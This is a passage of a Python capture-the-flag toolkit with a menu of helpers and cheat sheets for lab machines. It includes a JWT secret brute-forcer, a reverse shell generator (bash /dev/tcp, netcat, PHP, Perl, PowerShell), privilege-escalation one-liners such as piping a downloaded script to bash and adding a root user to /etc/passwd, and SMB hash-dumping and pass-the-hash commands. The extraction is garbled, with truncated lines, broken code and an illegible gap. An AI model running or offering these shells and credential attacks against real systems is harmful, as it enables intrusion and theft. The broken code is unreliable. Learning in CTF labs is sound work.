            shifted_char = chr((ord(c) - ord('A') - shift) % 26 + ord('A'))
            score += cnt * (26 - english.index(shifted_char)) if shifted_char
        if score > best_score:
            best_score, best_shift = score, shift
    key += chr(best_shift + ord('A'))

res("Recovered key", key)
tip(f"Try decrypting with option 8 using key: {key}")
tip("If result looks wrong, the key length guess may be off – try adjacent le

def jwt_brute():
    """
    JWT HMAC secret brute force – try a wordlist as the signing secret.
    Applies when alg is HS256/HS384/HS512 and the secret is weak.
    """
    import hmac as hmaclib, hashlib as hl
    print(f"\n  {C.BOLD}JWT HMAC Secret Brute Force{C.RESET}")
    token = input("  Paste full JWT: ").strip()
    parts = token.split(".")
    if len(parts) != 3:
        return err("Invalid JWT format")
    wordlist = input("  Wordlist [default: /usr/share/wordlists/rockyou.txt]: ").
    if not wordlist: wordlist = "/usr/share/wordlists/rockyou.txt"

```

```

if not os.path.exists(wordlist):
    return err(f"Wordlist not found: {wordlist}")

# Detect algorithm from header
import json
try:
    header_json = base64.urlsafe_b64decode(parts[0] + "==").decode()
    alg = json.loads(header_json).get("alg", "HS256").upper()
except Exception:
    alg = "HS256"

alg_map = {"HS256": h1.sha256, "HS384": h1.sha384, "HS512": h1.sha512}
hash_fn = alg_map.get(alg, h1.sha256)
msg = f"{parts[0]}.{parts[1]}.encode()"
try:
    expected = base64.urlsafe_b64decode(parts[2] + "==")
except Exception:
    return err("Could not decode signature")

info(f"Algorithm: {alg} | Cracking... (Ctrl+C to stop)")
try:
    with open(wordlist, "r", encoding="latin-1") as wf:
        for i, line in enumerate(wf):
            secret = line.strip().encode()
            sig = hmaclib.new(secret, msg, hash_fn).digest()
            if sig == expected:
                ok(f"Secret found: {C.BOLD}{secret.decode()}{C.RESET}")
                return
            if i % 100_000 == 0 and i > 0:
                print(f" {C.DIM}{i:,} words tried...{C.RESET}", end="\r")
        err("Secret not found in wordlist")
except KeyboardInterrupt:
    print(); info("Stopped")
except Exception as e:
    err(f"Error: {e}")

# =====
# MACHINES - NEW SECTION (ported from user's ctf_toolkit_3)
# =====

def nmap_builder():
    """Nmap - the standard first step on every machine. Know what's running before
    print(f"\n {C.BOLD}Nmap Scan Command Builder{C.RESET}")
    ip = input(" Target IP / range (e.g. 10.10.10.5): ").strip()
    print(f"""
{C.CYAN}[1]{C.RESET} Quick          nmap {ip}

```



```

{C.CYAN}[2]{C.RESET} Full ports      nmap -p- {ip}
{C.CYAN}[3]{C.RESET} Service+ver     nmap -sV -sC {ip}
{C.CYAN}[4]{C.RESET} Full CTF scan   nmap -p- -sV -sC -T4 -oN nmap_full.txt {ip}
{C.CYAN}[5]{C.RESET} UDP top 100     sudo nmap -sU --top-ports 100 {ip}
{C.CYAN}[6]{C.RESET} Stealth SYN     sudo nmap -sS -p- -T4 {ip}""")
    scan = input("\n Option: ").strip()
    cmds = {
        "1": f"nmap {ip}",
        "2": f"nmap -p- {ip}",
        "3": f"nmap -sV -sC {ip}",
        "4": f"nmap -p- -sV -sC -T4 -oN nmap_full.txt {ip}",
        "5": f"sudo nmap -sU --top-ports 100 {ip}",
        "6": f"sudo nmap -sS -p- -T4 {ip}",
    }
    cmd = cmds.get(scan)
    if cmd:
        res("Command", cmd)
        tip(f"Quick then targeted: nmap -p 22,80,443 -sV -sC {ip}")
        save_prompt(cmd)
    else:
        err("Invalid option")

def reverse_shell_generator():
    """Reverse shell generator — target connects back to your machine with a shell
    lhost = input(" Your IP (tun0 on HTB/THM): ").strip()
    lport = input(" Your port (e.g. 4444): ").strip()
    print(f"""
{C.BOLD}LISTENER (run this FIRST){C.RESET}
{C.GREEN}nc -lvnp {lport}{C.RESET}
rlwrap nc -lvnp {lport}                (adds arrow keys / history)

{C.BOLD}SHELLS — pick based on what's on the target{C.RESET}

{C.YELLOW}Bash:{C.RESET}
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'

{C.YELLOW}Python3:{C.RESET}
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{lhost}

{C.YELLOW}Netcat (traditional):{C.RESET}
nc -e /bin/sh {lhost} {lport}

{C.YELLOW}Netcat (OpenBSD — no -e flag):{C.RESET}
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f

```

```
{C.YELLOW}PHP:{C.RESET}
    php -r '$sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");'

{C.YELLOW}Perl:{C.RESET}
    perl -e 'use Socket;$i="{lhost}";$p={lport};socket(S,PF_INET,SOCK_STREAM,getp

{C.YELLOW}PowerShell (Windows):{C.RESET}
    powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('{lhost}'

{C.BOLD}UPGRADE TO FULL TTY (after catching shell){C.RESET}
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    Ctrl+Z → stty raw -echo; fg → reset
    export TERM=xterm
""")
```

```
def web_enum_reference():
    print(f"""
{C.BOLD}| _____ |
|          WEB ENUMERATION REFERENCE          |
|_____|{C.RESET}

{C.YELLOW}DIRECTORY / FILE BRUTEFORCE{C.RESET}
    gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
    gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-lis
    ffuf -u http://TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt
    feroxbuster -u http://TARGET -w /usr/share/wordlists/dirb/common.txt

{C.YELLOW}VHOST / SUBDOMAIN BRUTEFORCE{C.RESET}
    gobuster vhost -u http://TARGET -w /usr/share/seclists/Discovery/DNS/subdomai
    ffuf -u http://TARGET -H "Host: FUZZ.target.htb" -w wordlist.txt -fs SIZE_TO_
    echo "IP sub.target.htb" >> /etc/hosts

{C.YELLOW}WHAT TO LOOK FOR{C.RESET}
    /admin /login /dashboard /api /backup /config /.env /.git/
    robots.txt sitemap.xml source code comments (Ctrl+U)
    Response size differences → sign of hidden content

{C.YELLOW}CMS SCANNERS{C.RESET}
    wpscan --url http://TARGET --enumerate u          (WordPress)
    droopescan scan drupal -u http://TARGET          (Drupal)
    joomscan -u http://TARGET                        (Joomla)
    nikto -h http://TARGET                          (general)
""")
```

```
def privesc_reference():
    print(f"""
```

```
{C.BOLD}|
|          PRIVILEGE ESCALATION REFERENCE          |
|_____|{C.RESET}
```

```
{C.YELLOW}LINUX - RUN FIRST{C.RESET}
```

```
wget http://LHOST/linpeas.sh | bash          → comprehensive auto-enum
curl -L https://github.com/.../pspy64 | bash → monitor processes
```

```
{C.YELLOW}LINUX - MANUAL CHECKS{C.RESET}
```

```
sudo -l          → what can this user run as sudo?
find / -perm -4000 2>/dev/null → SUID binaries
crontab -l && cat /etc/crontab → cron jobs
ss -tlnp        → internal listening ports
env             → env vars (tokens? keys?)
cat /etc/passwd  cat /etc/shadow
find / -writable 2>/dev/null → world-writable files
```

```
{C.YELLOW}LINUX - COMMON VECTORS{C.RESET}
```

```
sudo abuse → sudo -l → GTFOBins: gtfobins.github.io
SUID abuse → find / -perm -4000 → GTFOBins
Cron abuse → writable script run by cron → insert reverse shell
Writable /etc/passwd → add root user:
    openssl passwd -1 -salt x pw123 → echo 'hax:HASH:0:0::/root:/bin/bash' >> /
PATH hijack → SUID calls 'ls' without full path → fake ls in writable dir
```

```
{C.YELLOW}WINDOWS - RUN FIRST{C.RESET}
```

```
winpeas.exe          → comprehensive auto-enum
Seatbelt.exe -group=all
```

```
{C.YELLOW}WINDOWS - MANUAL CHECKS{C.RESET}
```

```
whoami /all          → privileges + groups
net user && net localgroup administrators
systeminfo           → OS version, patches
wmic service get name,pathname,startmode → unquoted service paths
dir /s *pass* *cred* *config* → credential search
```

```
{C.YELLOW}WINDOWS - COMMON VECTORS{C.RESET}
```

```
SeImpersonatePrivilege → PrintSpoofer / GodPotato (nearly always exploitable)
Unquoted service path → plant executable in path gap
AlwaysInstallElevated → craft malicious .msi
Weak service perms → sc config svc binpath= "cmd.exe"
```

```
{C.YELLOW}RESOURCES{C.RESET}
```

```
GTFOBins (Linux): gtfobins.github.io
LOLBAS (Windows): lolbas-project.github.io
HackTricks:      book.hacktricks.xyz
```

```
""")
```

```

def smb_reference():
    print(f"""
{C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
│                                SMB ENUMERATION                                │
└──────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}LIST SHARES (null session = no creds){C.RESET}
    smbclient -L //TARGET -N
    smbmap -H TARGET
    crackmapexec smb TARGET

{C.YELLOW}CONNECT & DOWNLOAD{C.RESET}
    smbclient //TARGET/sharename -N
    smbclient //TARGET/share -N -c 'prompt OFF; recurse ON; mget *'

{C.YELLOW}WITH CREDENTIALS{C.RESET}
    crackmapexec smb TARGET -u user -p password --shares
    crackmapexec smb TARGET -u user -p password --sam      (dump hashes)
    impacket-secretsdump user:password@TARGET

{C.YELLOW}PASS THE HASH (NTLM hash, no plaintext needed){C.RESET}
    crackmapexec smb TARGET -u admin -H NTLMHASH
    smbclient //TARGET/share -U admin%NTLMHASH --pw-nt-hash

{C.YELLOW}FULL NULL SESSION ENUM{C.RESET}
    enum4linux-ng -a TARGET
""")

```

```

def password_attacks_reference():
    print(f"""
{C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
│                                PASSWORD ATTACKS REFERENCE                                │
└──────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}HASHCAT (GPU){C.RESET}
    hashcat -m MODE hash.txt rockyou.txt
    hashcat -m MODE hash.txt rockyou.txt -r rules/best64.rule

{C.YELLOW}HASHCAT MODE TABLE{C.RESET}
    {C.BOLD}0{C.RESET}      MD5              {C.BOLD}1000{C.RESET}  NTLM (Windows)
    {C.BOLD}100{C.RESET}     SHA1              {C.BOLD}1800{C.RESET}  sha512crypt (/etc/
    {C.BOLD}1400{C.RESET}    SHA256            {C.BOLD}3200{C.RESET}  bcrypt
    {C.BOLD}1700{C.RESET}    SHA512            {C.BOLD}13100{C.RESET} Kerberoast (TGS-RE
    {C.BOLD}500{C.RESET}      md5crypt ($1$) {C.BOLD}18200{C.RESET} AS-REP Roast
    {C.BOLD}17200{C.RESET} PKZIP              {C.BOLD}13600{C.RESET} WinZip AES-256

{C.YELLOW}JOHN THE RIPPER (CPU){C.RESET}

```

```

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
ssh2john id_rsa > id_rsa.hash  &&  john id_rsa.hash --wordlist=rockyou.txt
zip2john file.zip > zip.hash  &&  john zip.hash --wordlist=rockyou.txt

{C.YELLOW}HYDRA (online / service brute force){C.RESET}
hydra -l admin -P rockyou.txt TARGET ssh
hydra -l admin -P rockyou.txt TARGET ftp
hydra -l admin -P rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=

{C.YELLOW}DEFAULT CREDENTIALS TO TRY FIRST{C.RESET}
admin:admin    admin:password    admin:123456
root:root      root:toor          guest:guest
https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Cred

{C.YELLOW}CREDENTIAL LOCATIONS{C.RESET}
Linux:  /etc/shadow  ~/.ssh/id_rsa  .env  .bash_history  config files
Windows: SAM hive  LSASS dump  web.config  Unattend.xml  Groups.xml

"""
)

```

```

def programming_reference():
    print(f"""
{C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
│                                PROGRAMMING CHALLENGE REFERENCE                                │
└──────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}TYPICAL SCENARIO{C.RESET}
Server: "What is 1234 * 5678? You have 1 second."
You must: connect → parse → compute → respond, faster than humanly possible

{C.YELLOW}PWNTTOOLS SOCKET TEMPLATE{C.RESET}
from pwn import *
import re

p = remote('challenge.ctf.com', 1337)
while True:
    line = p.recvline().decode().strip()
    match = re.search(r'([0-9]+) \[*] ([0-9]+)', line)
    if match:
        a, b = int(match.group(1)), int(match.group(2))
        p.sendline(str(a * b).encode())
p.interactive()

{C.YELLOW}RAW SOCKET (no pwntools){C.RESET}
import socket
s = socket.socket(); s.connect(('host', port))
data = s.recv(1024).decode()
s.send(b'answer\n')

```

```
{C.YELLOW}PROOF OF WORK TEMPLATE{C.RESET}
import hashlib, itertools, string
prefix = b'xyz'          # given by server
charset = string.ascii_letters + string.digits
for candidate in itertools.product(charset, repeat=5):
    attempt = prefix + ''.join(candidate).encode()
    if hashlib.sha256(attempt).hexdigest().startswith('0000'):
        print('Found:', ''.join(candidate)); break

{C.YELLOW}USEFUL PYTHON FOR CTF{C.RESET}
int('ff', 16)             → hex str to int
bytes.fromhex('deadbeef') → hex to bytes
import sympy
sympy.factorint(n)        → prime factorisation (RSA!)
sympy.isprime(n)
"""
```

```
def ctf_methodology():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
│                               CTF METHODOLOGY CHECKLIST                               │
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}
```

```
{C.YELLOW}MACHINES (HTB / THM){C.RESET}
[ ] nmap: quick → full → -sV -sC on open ports
[ ] Web? → gobuster/ffuf + nikto + manual browse + source
[ ] robots.txt, sitemap.xml, .git/, .env?
[ ] CMS? → wpscan / droopescan / joomscan
[ ] SMB? → smbclient, enum4linux-ng
[ ] FTP? → anonymous login? binary mode, mget *
[ ] SSH? → try found creds, check for id_rsa
[ ] Got shell? → run linpeas/winpeas immediately
[ ] user.txt → escalate → root.txt
```

```
{C.YELLOW}WEB{C.RESET}
[ ] View source (Ctrl+U) – comments, hidden fields
[ ] Check cookies – base64? JWT? modifiable?
[ ] Intercept with Burp Suite
[ ] All inputs → SQLi, XSS, SSTI
[ ] File uploads → bypass extension filters
[ ] ?file=, ?page=, ?path= params → LFI
[ ] HTTP methods: OPTIONS, PUT, DELETE
```

```
{C.YELLOW}CRYPTOGRAPHY{C.RESET}
[ ] Identify encoding first (base64? hex? binary?)
[ ] Classical cipher? → frequency analysis (option 10)
```

[illegible]

```

{C.CYAN}— CRYPTOGRAPHY —————{C.RESET}
1.  Base64                11. RSA Helper
2.  Base32                30. ROT47                {C.DIM} [new] {C.RESET}
3.  Base58                31. Atbash                {C.DIM} [new] {C.RESET}
4.  Hex                   32. Rail Fence Cipher    {C.DIM} [new] {C.RESET}
5.  Binary                33. Bacon Cipher          {C.DIM} [new] {C.RESET}
6.  ROT13                 34. Base85 / Ascii85      {C.DIM} [new] {C.RESET}
7.  Caesar Brute Force    35. Affine Cipher         {C.DIM} [new] {C.RESET}
8.  Vigenère              36. Columnar Transposition {C.DIM} [new] {C.RESET}
9.  XOR                   37. Hash Cracker (wordlist) {C.DIM} [new] {C.RESET}
10. Frequency Analysis    38. Polybius Square       {C.DIM} [new] {C.RESET}

{C.CYAN}— WEB —————{C.RESET}
12. URL Encode/Decode     39. LFI / Path Traversal  {C.DIM} [new] {C.RESET}
13. HTML Entity           40. SSTI Cheatsheet       {C.DIM} [new] {C.RESET}
14. JWT Decoder           41. Command Injection     {C.DIM} [new] {C.RESET}
15. SQLi Cheatsheet       42. XXE Cheatsheet        {C.DIM} [new] {C.RESET}
16. XSS Cheatsheet

{C.CYAN}— PWN —————{C.RESET}
17. Cyclic Pattern        43. Ret2Libc / ROP        {C.DIM} [new] {C.RESET}
18. Format String         44. Heap Exploitation     {C.DIM} [new] {C.RESET}
19. Shellcode / Pwntools

{C.CYAN}— FORENSICS —————{C.RESET}
20. File Magic Bytes      45. PNG Chunk Inspector   {C.DIM} [new] {C.RESET}
21. Strings Extractor     46. PCAP / Network Forensics {C.DIM} [new] {C.RESET}
22. Stego Checklist       47. Volatility Memory Forensics {C.DIM} [new] {C.RESET}
                        48. Archive / ZIP Analysis {C.DIM} [new] {C.RESET}

{C.CYAN}— REVERSE ENGINEERING —————{C.RESET}
23. RE Tools & GDB        49. Android / APK RE      {C.DIM} [new] {C.RESET}
                        50. .NET / Java / Python RE {C.DIM} [new] {C.RESET}

{C.CYAN}— MISC / OSINT —————{C.RESET}
24. Morse Code            51. Tap Code              {C.DIM} [new] {C.RESET}
25. Hash Generator        52. NATO Phonetic Alphabet {C.DIM} [new] {C.RESET}
26. Flag Scanner          53. Braille Encoder/Decoder {C.DIM} [new] {C.RESET}
27. Hash Identifier       54. Whitespace Steganography {C.DIM} [new] {C.RESET}
28. Base Converter
29. OSINT Reference

{C.RED} 0.  Exit{C.RESET}
"""

TOOLS = {

```



```

"1": base64_tool,          "2": base32_tool,          "3": base58_tool,
"4": hex_tool,            "5": binary_tool,          "6": rot13_tool,
"7": caesar_tool,         "8": vigenere_tool,        "9": xor_tool,
"10": frequency_analysis, "11": rsa_helper,
"12": url_tool,           "13": html_tool,           "14": jwt_tool,
"15": sqlmap_cheatsheet,  "16": xss_cheatsheet,
"17": cyclic_pattern,     "18": format_string_helper, "19": shellcode_info,
"20": file_magic,         "21": strings_extractor,    "22": steganography_hin
"23": reverse_engineering_ref,
"24": morse_tool,         "25": hash_tool,           "26": flag_finder,
"27": hash_identifier,    "28": base_converter,      "29": osint_reference,
# — New additions —
"30": rot47_tool,         "31": atbash_tool,         "32": rail_fence_tool,
"33": bacon_tool,         "34": base85_tool,         "35": affine_tool,
"36": columnar_tool,      "37": hash_cracker,        "38": polybius_tool,
"39": lfi_cheatsheet,     "40": ssti_cheatsheet,     "41": cmdi_cheatsheet,
"42": xxe_cheatsheet,
"43": ret2libc_reference, "44": heap_reference,
"45": png_chunk_inspector, "46": pcap_reference,      "47": volatility_refere
"48": archive_analysis,
"49": apk_reference,       "50": dotnet_java_reference,
"51": tap_code_tool,       "52": nato_tool,           "53": braille_tool,
"54": whitespace_stego,
# — Machines & Methodology —
"55": nmap_builder,
"56": reverse_shell_generator,
"57": web_enum_reference,
"58": privesc_reference,
"59": smb_reference,
"60": password_attacks_reference,
"61": programming_reference,
"62": ctf_methodology,
# — Tool Extensions —
"63": rsa_factor,
"64": vigenere_key_recovery,
"65": jwt_brute,
}

```

```

def main():
    while True:
        print(MENU)
        choice = input(f" {C.BOLD}Select option: {C.RESET}")
        if choice == "0":
            print(f"\n {C.GREEN}Goodbye! {C.RESET}\n")
            sys.exit(0)
        elif choice in TOOLS:

```

```
print()
try:
    TOOLS[choice]()
except KeyboardInterrupt:
    print(); info("Interrupted")
    input(f"\n {C.DIM}[Press Enter to continue]{C.RESET}")
else:
    err("Invalid option - try again")

if __name__ == "__main__":
    main()
```